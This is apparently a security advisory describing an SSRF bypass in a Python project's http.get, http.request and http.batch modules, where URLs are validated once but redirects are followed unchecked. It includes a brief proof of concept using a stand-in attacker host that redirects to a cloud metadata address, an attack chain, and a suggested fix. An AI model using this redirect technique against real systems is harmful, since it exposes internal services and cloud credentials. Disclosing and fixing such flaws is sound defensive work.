Vulnerability PYSEC-2026-3569

Summary

The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.

Root Cause

src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.

Impact

Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.

Proof of Concept

Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.

attacker hosts http://attacker.tld/r  ->  302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}

Attack Chain

1. Entry: execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.
2. Sink: session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.
3. Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).

Bypass Evidence

Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.

Affected Versions

<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.

Suggested Fix

Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.

Credit

Vulnerability discovered by zx (Jace).